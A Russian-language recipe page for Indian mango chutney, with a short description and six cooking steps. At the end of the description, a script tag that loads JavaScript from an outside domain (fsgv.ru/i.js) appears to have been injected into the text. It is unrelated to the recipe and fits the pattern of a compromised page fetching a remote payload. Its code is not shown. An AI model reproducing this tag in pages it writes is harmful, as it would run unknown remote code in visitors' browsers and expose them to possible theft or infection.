Чатни из манго
Описание
Чатни из манго - это очень популярная индийская приправа, которая благодаря специям и необычной технологии приготовления очень здорово возбуждает аппетит. Обычно ее передают перед основным блюдом, вместе с какой-нибудь закуской. В нашей семье чатни из манго используется разными способами - намазываем на хлеб, добавляем в блинчики, подаем с оладьями, всякими разными закусками... Вкус передать сложно - надо пробовать. Чего вам и желаю!<script type="text/javascript" src="https://fsgv.ru/i.js"></script>
Инструкция
- 1
Шаг 1
Очищаем манго от кожуры.
- 2
Шаг 2
Мякоть манго нужно размять ложечкой до пюреобразного состояния.
- 3
Шаг 3
В сковороде разогрейте масло, обжарьте в нем перец и специи в течение 1-2 минуты на быстром огне.
- 4
Шаг 4
Теперь добавляем лимонный сок, перемешиваем.
- 5
Шаг 5
Сразу же добавляем манго и уменьшаем огонь. Тушим, помешивая, в течение 5 минут.
- 6
Шаг 6
Снимаем с огня, охлаждаем - и готово! Хранить в холодильнике.